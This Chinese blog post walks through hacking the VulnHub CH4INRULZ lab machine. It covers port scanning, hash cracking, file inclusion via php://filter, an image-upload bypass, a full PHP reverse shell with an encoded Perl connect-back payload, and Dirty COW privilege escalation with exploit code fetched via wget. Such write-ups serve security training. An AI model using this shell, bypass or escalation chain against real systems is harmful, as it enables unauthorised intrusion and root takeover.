渗透靶场CH4INRULZ_v1.0.1


靶机环境下载地址:(https://www.vulnhub.com/entry/ch4inrulz-101,247/)

好久没有来做内网渗透了,碰巧遇到一个新鲜点的靶场,就来试一下。
ova下载下来后直接导入virtualbox即可
kali:192.168.0.100
靶机: 192.168.0.101
先扫一下端口

nmap -sS -A -p- 192.168.0.101


开启了ftp,ssh,http服务,打开他的网址上去一看,是一个未完成的个人博客。在他的网站上并没有找到什么线索,url也没有什么奇特的地方,御剑或dirsearch扫一下目录。

发现一个需要登录的子页面development和index.html.bak网页备份文件(御剑)。

查看首页备份文件发现里面竟然有一串hash,破解一下保存到res.log

john pass.txt > res.log

如果res.log中不显示结果,加上--show参数即可


得到密码– frank!!!
这个密码正好可以登录development中的东西,(frank, frank!!!)。登录进去根据提示进入uploader子目录,是一个文件上传,因为是综合渗透,一般是和文件包含配合来用的。

想起前面还扫到了一个8011端口的http服务,再扫一下这个的目录,只扫出来了一个api的子页面

经过试验只有files_api.php可以访问。

根据这个url特征应该是有文件包含,而且是file传参
先尝试下GET传参,

?file=/etc/passwd

提示WRONG INPUT!
尝试POST传参,可以查看passwd了,并发现确实有一个用户名为frank。但无法进一步查看shadow,或许是权限比较低。
至少证明确实是存在文件包含
当然我们可以利用伪协议查看它的过滤规则

?file=php://filter/convert.base64-encode/resource=files_api.php

到此基本思路已经明了,通过文件上传漏洞上传一句话木马,进行php反弹shell。
修改文件后缀为jpg,MIME修改为image/jpeg,添加文件头GIF98即可轻松绕过(注意下列代码需要修改ip和port)

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.0.100";                    # 修改为你的攻击机的ip
$yourport = '7890';                        # 修改为攻击机的监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>


我们观察到现在的url为192.168.0.101/development/uploader/upload.php
利用文件包含来查看upload.php的源码

?file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php

源码如下:

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

这是它的整个过滤规则和上传路径。上传路径在uploader/FRANKuploads下。
因为存在目录遍历(在扫出来的80端口的vendor目录发现的)可以直接访问这个目录,或者直接访问这个webshell。

接着kali里nc监听

nc -lvp 7890

利用文件包含以php访问这个shell.jpg,kali中发现上线。使用python建立虚拟终端


uname -a 看一下系统内核,是2.6,直接脏牛提权。

searchsploit Dirty

cp /usr/share/exploitdb/exploits/linux/local/40839.c /root/crack.c

需要将这个c文件传输到靶机上,可以通过python开启一个建议的http服务,利用wget将其下载下来(因为权限问题似乎只能下在tmp文件夹)。

# 攻击机:
cd /root
python -m SimpleHTTPServer 80

# 目标靶机:
cd /tmp
wget http://192.168.0.100/crack.c
gcc -pthread crack.c -o crack -lcrypt
./crack 123

执行crack后面随便输个密码123,然后就成功创建了一个叫做firefart的用户(或者cat /etc/passwd)

断开nc重新连接一下就可以直接su到firefart了。

firefart其实就已经是root了,直接查看root目录下的root.txt拿到这道题唯一的flag,整个渗透过程完毕。


另外,php反弹shell那一步可以直接蚁剑连接(注意,要连接的文件在development-401认证下,因此要添加请求头,又由于是POST传参包含,因此要添加请求体)


Author: xzajyjs
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source xzajyjs !
评论
 Previous
Parallels Desktop 17 自己动手破解(解密启动器的原理) Parallels Desktop 17 自己动手破解(解密启动器的原理)
前段时间刚出pd17,作为mac上最最强(没有之一)的虚拟机,版本17更是更进一步,性能提升极大,更是支持了Monterey和Win11,图形显示能力提升巨大,尤其对于M1来说。逛了一圈某宝,所有pd17的破解版都不是tnt,而是利用启动器
2021-09-18
Next 
MAC录制内屏声音(Soundflower无法安装的替代方案)及四种需求 MAC录制内屏声音(Soundflower无法安装的替代方案)及四种需求
前言以前一直有录屏的需求,但苦于自带的QuickTime 无法录制内屏声音,一直使用的是第三方的app。近期开腾讯会议需要录屏,但主持人本身没有开启录屏权限,只好通过我本机端进行录制。然后我使用的第三方app虽然能录制系统声音,但无法录制腾
2021-09-02
  TOC